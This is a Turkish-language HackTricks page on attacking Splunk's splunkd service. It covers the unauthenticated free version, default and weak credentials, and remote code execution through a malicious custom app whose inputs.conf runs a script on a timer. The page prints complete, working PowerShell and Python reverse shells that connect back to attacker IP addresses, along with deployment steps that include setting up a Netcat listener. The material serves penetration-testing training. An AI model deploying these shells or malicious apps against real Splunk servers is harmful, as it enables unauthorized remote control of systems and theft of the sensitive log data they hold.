mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
119 lines
4.2 KiB
Markdown
119 lines
4.2 KiB
Markdown
# 8089 - Pentesting Splunkd
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## **Temel Bilgiler**
|
||
|
||
- Veri toplama, analiz ve görselleştirme için kullanılan günlük analitik aracı
|
||
- Güvenlik izleme ve iş analitiğinde yaygın olarak kullanılır
|
||
- Varsayılan portlar:
|
||
- Web sunucusu: 8000
|
||
- Splunkd servisi: 8089
|
||
|
||
### Zafiyet Vektörleri:
|
||
|
||
1. Ücretsiz Sürüm İstismarı
|
||
|
||
- Deneme sürümü 60 gün sonra otomatik olarak ücretsiz sürüme dönüşür
|
||
- Ücretsiz sürüm kimlik doğrulama eksikliği taşır
|
||
- Yönetilmediğinde potansiyel güvenlik riski
|
||
- Yöneticiler güvenlik sonuçlarını gözden kaçırabilir
|
||
|
||
2. Kimlik Bilgisi Zayıflıkları
|
||
|
||
- Eski sürümler: Varsayılan kimlik bilgileri `admin:changeme`
|
||
- Yeni sürümler: Kurulum sırasında ayarlanan kimlik bilgileri
|
||
- Zayıf şifre kullanma potansiyeli (örn. `admin`, `Welcome`, `Password123`)
|
||
|
||
3. Uzaktan Kod Çalıştırma Fırsatları
|
||
|
||
- Birden fazla kod çalıştırma yöntemi:
|
||
- Sunucu tarafı Django uygulamaları
|
||
- REST uç noktaları
|
||
- Scriptlenmiş girdiler
|
||
- Uyarı scriptleri
|
||
- Çoklu platform desteği (Windows/Linux)
|
||
- Scriptlenmiş girdiler çalıştırabilir:
|
||
- Bash scriptleri
|
||
- PowerShell scriptleri
|
||
- Batch scriptleri
|
||
|
||
Ana İstismar Potansiyeli:
|
||
|
||
- Hassas veri depolama
|
||
- Ücretsiz sürümde kimlik doğrulama eksikliği
|
||
- Potansiyel uzaktan kod çalıştırma için birden fazla vektör
|
||
- Sistem ihlali için scriptlenmiş girdilerin kullanılma olasılığı
|
||
|
||
### Shodan
|
||
|
||
- `Splunk build`
|
||
|
||
## RCE
|
||
|
||
### Özel Uygulama Oluşturma
|
||
|
||
Splunk, özel uygulama dağıtımı aracılığıyla uzaktan kod çalıştırma için sofistike bir yöntem sunar ve çapraz platform scriptleme yeteneklerinden yararlanır. Temel istismar tekniği, hem Windows hem de Linux sistemlerinde ters shell'ler çalıştırabilen kötü niyetli bir uygulama oluşturmaya dayanır.
|
||
|
||
Özel bir uygulama **Python, Batch, Bash veya PowerShell scriptleri** çalıştırabilir. Ayrıca, **Splunk ile Python yüklü gelir**, bu nedenle **Windows** sistemlerinde bile python kodu çalıştırabileceksiniz.
|
||
|
||
[**bu**](https://github.com/0xjpuff/reverse_shell_splunk) örneğini **`bin`** içeren [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) ve [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1) örneği ile kullanabilirsiniz. Ya da kendi uygulamanızı oluşturabilirsiniz.
|
||
|
||
İstismar süreci, platformlar arasında tutarlı bir metodoloji izler:
|
||
```
|
||
splunk_shell/
|
||
├── bin (reverse shell scripts)
|
||
└── default (inputs.conf configuration)
|
||
```
|
||
Kritik yapılandırma dosyası `inputs.conf`, scripti şu şekilde etkinleştirir:
|
||
|
||
- `disabled = 0` ayarlamak
|
||
- 10 saniyelik bir yürütme aralığı yapılandırmak
|
||
- Scriptin kaynak türünü tanımlamak
|
||
|
||
Dağıtım basittir:
|
||
|
||
1. Kötü niyetli uygulama paketini oluşturun
|
||
2. Saldırgan makinede bir dinleyici (Netcat/socat) kurun
|
||
3. Uygulamayı Splunk arayüzü aracılığıyla yükleyin
|
||
4. Yükleme sırasında otomatik script yürütmesini tetikleyin
|
||
|
||
Örnek Windows PowerShell ters shell:
|
||
```powershell
|
||
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
|
||
$stream = $client.GetStream();
|
||
[byte[]]$bytes = 0..65535|%{0};
|
||
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
|
||
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
|
||
$sendback = (iex $data 2>&1 | Out-String );
|
||
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
|
||
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
|
||
$stream.Write($sendbyte,0,$sendbyte.Length);
|
||
$stream.Flush()
|
||
};
|
||
$client.Close()
|
||
```
|
||
Örnek Linux Python ters shell:
|
||
```python
|
||
import sys, socket, os, pty
|
||
ip = "10.10.14.15"
|
||
port = "443"
|
||
s = socket.socket()
|
||
s.connect((ip, int(port)))
|
||
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
|
||
pty.spawn('/bin/bash')
|
||
```
|
||
### RCE & Yetki Yükseltme
|
||
|
||
Aşağıdaki sayfada bu hizmetin nasıl kötüye kullanılabileceğine dair bir açıklama bulabilirsiniz:
|
||
|
||
{{#ref}}
|
||
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
|
||
{{#endref}}
|
||
|
||
## Referanslar
|
||
|
||
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|